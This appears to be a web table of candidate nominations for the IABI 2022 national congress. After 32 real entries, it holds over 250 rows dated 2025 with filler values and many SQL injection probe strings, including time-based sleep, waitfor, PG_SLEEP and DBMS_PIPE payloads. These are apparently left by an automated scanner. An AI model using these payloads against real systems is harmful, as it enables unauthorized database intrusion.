Data Munas IABI 2022

No Usulan Nama 1 Usulan Nama 2 Tanggal Input
1 Prof. Faisal Fathani Dr. Triarko Nurlambang 08/10/2022
2 Prof. Dr.Harkunti Dr. hendro wardhono 09/10/2022
3 Dr. Hendro Wardhono, M.Si Dr. Suprayoga Hadi 09/10/2022
4 Dr Ridwan Jamaludin Dr. Triarko Nurlambang 09/10/2022
5 Dr. Lilik Kurniawan Dr. Triarko Nurlambang 09/10/2022
6 Dr. Lilik Kurniawan Prof. Faisal Fathani 09/10/2022
7 Lilik Kurniawan Dwi Korita 09/10/2022
8 Dr. Dody Ruswandi, M.Sc Dr. Lilik Kurniawan, M.Si 09/10/2022
9 Dr Triarko Nurlambang Dr Lilik Kurniawan 09/10/2022
10 Prof. Harkunti Lilik Kurniawan 09/10/2022
11 Dr Dody Riswandi Dr Lilik Kurniawan 10/10/2022
12 Daryono Ridwan Yunus 10/10/2022
13 Harkunti (Ketua Umum sekarang) Lilik (sekretaris BNPB) 10/10/2022
14 Ir. Harkunti Pertiwi Rahayu, Ph.D Lilik Kurniawan, S.T., M.Si 10/10/2022
15 Prof. Dr. T Faisal Fathani, MSc. Dr. Puji Pujiono 10/10/2022
16 Ir. Harkunti Pertiwi Rahayu, Ph.D Lilik Kurniawan, S.T., M.Si 10/10/2022
17 Dwikorita Karnawati Lilik Hendrajaya 10/10/2022
18 Lilik Kurniawan Harkunti 10/10/2022
19 Dr. Dody Ruswandi, M.Sc Dr. Hendro Wardhono, M.Si 10/10/2022
20 TRIARKO NURLAMBANG (UI) Hendro Wardono 10/10/2022
21 Dr. Ir. Eko Teguh Paripurno Rina Suryani Oktari 10/10/2022
22 Dr. Dodi Riswandi, M.Sc Dr. Hendro Wardono, M.Si 10/10/2022
23 Kirbani Sri Brotopuspito Gede Suantika 10/10/2022
24 Dr. Suprayoga Hadi Lilik Kurniawan, ST, M.Si 10/10/2022
25 Kirbani Sri Brotopuspito Gede Suantika 10/10/2022
26 Dr. Lilik Kurniawan Prof. Fatma Lestari 11/10/2022
27 Dr. Triarko Nurlambang Dr. Ridwan Jamaludin 11/10/2022
28 Dr. Dody Riswandi, M. Sc Hendro wardono 11/10/2022
29 Dr. Dody Ruswandi, M.Sc Dr. Hendro Wardhono, M.Si 11/10/2022
30 Dr. Dody Ruswandi Dr. Dody Ruswandi 11/10/2022
31 Lilik Kurniawan, ST, M.Si Dr. Agus Maryono 11/10/2022
32 Dr. Dody Ruswandi, M.Sc (calon ke 1) Dr. Dody Ruswandi, M.Sc (calon ke 1) 11/10/2022
33 1 1 16/10/2025
34 1 1 16/10/2025
35 1 1 16/10/2025
36 1 1 16/10/2025
37 1 1 16/10/2025
38 1 1 16/10/2025
39 1 1 16/10/2025
40 1 1 16/10/2025
41 1 1 16/10/2025
42 1 1 16/10/2025
43 1 1 16/10/2025
44 1 1 16/10/2025
45 1 1 16/10/2025
46 1 1 16/10/2025
47 1 1 16/10/2025
48 1 1 16/10/2025
49 1 1 16/10/2025
50 1 1 16/10/2025
51 1 1 16/10/2025
52 1 1 16/10/2025
53 1 1 16/10/2025
54 1 1 16/10/2025
55 1 1 16/10/2025
56 1 1 16/10/2025
57 1 1 16/10/2025
58 1 1 16/10/2025
59 1 1 16/10/2025
60 1 1 16/10/2025
61 1 1 16/10/2025
62 1 1 16/10/2025
63 1 1 16/10/2025
64 1 1 16/10/2025
65 1 1 16/10/2025
66 1 1 16/10/2025
67 1 1 16/10/2025
68 1 1 16/10/2025
69 1 1 16/10/2025
70 1 1 16/10/2025
71 1 1 16/10/2025
72 1 1 16/10/2025
73 1 1 16/10/2025
74 1 1 16/10/2025
75 1 1 16/10/2025
76 1 1 16/10/2025
77 1 1 16/10/2025
78 1 1 16/10/2025
79 1 1 16/10/2025
80 1 1 16/10/2025
81 1 1 16/10/2025
82 1 1 16/10/2025
83 1 1 16/10/2025
84 1 1 16/10/2025
85 1 1 16/10/2025
86 1 1 16/10/2025
87 1 1 16/10/2025
88 1 1 16/10/2025
89 1 1 16/10/2025
90 1 1 16/10/2025
91 1 1 16/10/2025
92 1 1 16/10/2025
93 1 1 16/10/2025
94 1 1 16/10/2025
95 1 1 16/10/2025
96 1 1 16/10/2025
97 1 1 16/10/2025
98 1 1 16/10/2025
99 1 1 16/10/2025
100 1 1 16/10/2025
101 1 1 16/10/2025
102 1 1 16/10/2025
103 1 1 16/10/2025
104 1 1 16/10/2025
105 1 1 16/10/2025
106 1 1 16/10/2025
107 1 1 16/10/2025
108 1 1 16/10/2025
109 1 1 16/10/2025
110 1 1 16/10/2025
111 1 1 16/10/2025
112 1 1 16/10/2025
113 1 1 16/10/2025
114 1 1 16/10/2025
115 1 1 16/10/2025
116 1 1 16/10/2025
117 1 1 16/10/2025
118 1 1 16/10/2025
119 1 1 16/10/2025
120 1 1 16/10/2025
121 1 1 16/10/2025
122 1 1 16/10/2025
123 1 1 16/10/2025
124 1 1 16/10/2025
125 1 1 16/10/2025
126 1 1 16/10/2025
127 1 1 16/10/2025
128 1 1 16/10/2025
129 1 1 16/10/2025
130 1 1 16/10/2025
131 1 1 16/10/2025
132 1 1 16/10/2025
133 1 1 16/10/2025
134 1 1 16/10/2025
135 1 1 16/10/2025
136 1 1 16/10/2025
137 1 1 16/10/2025
138 1 1 16/10/2025
139 1 1 16/10/2025
140 1 1 16/10/2025
141 1 1 16/10/2025
142 1 1 16/10/2025
143 1 1 16/10/2025
144 1 1 16/10/2025
145 1 1 16/10/2025
146 1 1 16/10/2025
147 1 1 16/10/2025
148 1 1 16/10/2025
149 1 1 16/10/2025
150 1 1 16/10/2025
151 1 1 16/10/2025
152 1 1 16/10/2025
153 1 1 16/10/2025
154 1 1 16/10/2025
155 1 1 16/10/2025
156 1 1 16/10/2025
157 1 1 16/10/2025
158 1 1 16/10/2025
159 1 1 16/10/2025
160 1 1 16/10/2025
161 1 1 16/10/2025
162 1 1 16/10/2025
163 1 1 16/10/2025
164 1 1 16/10/2025
165 1 1 16/10/2025
166 1 1 16/10/2025
167 1 1 16/10/2025
168 1 1 16/10/2025
169 1 1 16/10/2025
170 1 1 16/10/2025
171 1 1 16/10/2025
172 1 1 16/10/2025
173 1 1 16/10/2025
174 1 1 16/10/2025
175 1 1 16/10/2025
176 1 1 16/10/2025
177 1 1 16/10/2025
178 1 1 16/10/2025
179 1 1 16/10/2025
180 1 1 16/10/2025
181 1 1 16/10/2025
182 1 1 16/10/2025
183 1 1 16/10/2025
184 1 1 16/10/2025
185 1 1 16/10/2025
186 1 1 16/10/2025
187 1 1 16/10/2025
188 1 1 16/10/2025
189 1 1 16/10/2025
190 1 1 16/10/2025
191 1 1 16/10/2025
192 1 1 16/10/2025
193 1 1 16/10/2025
194 1 1 16/10/2025
195 1 1 16/10/2025
196 1 1 16/10/2025
197 1 1 16/10/2025
198 1 1 16/10/2025
199 1 1 16/10/2025
200 1 1 16/10/2025
201 1 1 16/10/2025
202 1 1 16/10/2025
203 1 1 16/10/2025
204 1 1 16/10/2025
205 1 1 16/10/2025
206 1 1 16/10/2025
207 1 1 16/10/2025
208 1 1 16/10/2025
209 1 1 16/10/2025
210 1 1 16/10/2025
211 1 1 16/10/2025
212 1 1 16/10/2025
213 1 1 16/10/2025
214 1 1 16/10/2025
215 1 1 16/10/2025
216 1 1 16/10/2025
217 1 1 16/10/2025
218 1 1 16/10/2025
219 1 1 16/10/2025
220 1 1 16/10/2025
221 1 1 16/10/2025
222 1 1 16/10/2025
223 1 1 16/10/2025
224 18cGrBiN9 1 16/10/2025
225 1 1 16/10/2025
226 -1 OR 5*5=25 -- 1 16/10/2025
227 -1 OR 5*5=25 1 16/10/2025
228 -1' OR 5*5=25 -- 1 16/10/2025
229 -1" OR 5*5=25 -- 1 16/10/2025
230 -1' OR 5*5=25 or 'RVJsid8H'=' 1 16/10/2025
231 -1" OR 5*5=25 or "ZJ8zswz4"=" 1 16/10/2025
232 1*if(now()=sysdate(),sleep(15),0) 1 16/10/2025
233 10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z 1 16/10/2025
234 10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z 1 16/10/2025
235 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 1 16/10/2025
236 1-1; waitfor delay '0:0:15' -- 1 16/10/2025
237 1-1); waitfor delay '0:0:15' -- 1 16/10/2025
238 1-1 waitfor delay '0:0:15' -- 1 16/10/2025
239 1R1ad8pVX'; waitfor delay '0:0:15' -- 1 16/10/2025
240 1-1 OR 189=(SELECT 189 FROM PG_SLEEP(15))-- 1 16/10/2025
241 1-1) OR 215=(SELECT 215 FROM PG_SLEEP(15))-- 1 16/10/2025
242 1-1)) OR 787=(SELECT 787 FROM PG_SLEEP(15))-- 1 16/10/2025
243 1BKbd1Dqx' OR 476=(SELECT 476 FROM PG_SLEEP(15))-- 1 16/10/2025
244 1KboLXPNa') OR 978=(SELECT 978 FROM PG_SLEEP(15))-- 1 16/10/2025
245 1XgkCDAbG')) OR 557=(SELECT 557 FROM PG_SLEEP(15))-- 1 16/10/2025
246 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 1 16/10/2025
247 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 1 16/10/2025
248 1 1 16/10/2025
249 1'" 1 16/10/2025
250 1%2527%2522\'\" 1 16/10/2025
251 @@qR90t 1 16/10/2025
252 (select 198766*667891) 1 16/10/2025
253 (select 198766*667891 from DUAL) 1 16/10/2025
254 1 1 16/10/2025
255 1 1 16/10/2025
256 1 10sMSTdVB 16/10/2025
257 1 1 16/10/2025
258 1 -1 OR 5*5=25 -- 16/10/2025
259 1 -1 OR 5*5=25 16/10/2025
260 1 -1' OR 5*5=25 -- 16/10/2025
261 1 -1" OR 5*5=25 -- 16/10/2025
262 1 -1' OR 5*5=25 or 'aZ7Lm9x5'=' 16/10/2025
263 1 -1" OR 5*5=25 or "G88clB1z"=" 16/10/2025
264 1 1*if(now()=sysdate(),sleep(15),0) 16/10/2025
265 1 10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z 16/10/2025
266 1 10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z 16/10/2025
267 1 (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/ 16/10/2025
268 1 1-1; waitfor delay '0:0:15' -- 16/10/2025
269 1 1-1); waitfor delay '0:0:15' -- 16/10/2025
270 1 1-1 waitfor delay '0:0:15' -- 16/10/2025
271 1 1NGEAgCuW'; waitfor delay '0:0:15' -- 16/10/2025
272 1 1-1 OR 70=(SELECT 70 FROM PG_SLEEP(15))-- 16/10/2025
273 1 1-1) OR 848=(SELECT 848 FROM PG_SLEEP(15))-- 16/10/2025
274 1 1-1)) OR 182=(SELECT 182 FROM PG_SLEEP(15))-- 16/10/2025
275 1 1RrVleZ1O' OR 617=(SELECT 617 FROM PG_SLEEP(15))-- 16/10/2025
276 1 1q0i9KKxx') OR 811=(SELECT 811 FROM PG_SLEEP(15))-- 16/10/2025
277 1 1R7oD7LRI')) OR 746=(SELECT 746 FROM PG_SLEEP(15))-- 16/10/2025
278 1 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15) 16/10/2025
279 1 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' 16/10/2025
280 1 1 16/10/2025
281 1 1'" 16/10/2025
282 1 1%2527%2522\'\" 16/10/2025
283 1 @@YbGvq 16/10/2025
284 1 (select 198766*667891) 16/10/2025
285 1 (select 198766*667891 from DUAL) 16/10/2025
286 1 1 16/10/2025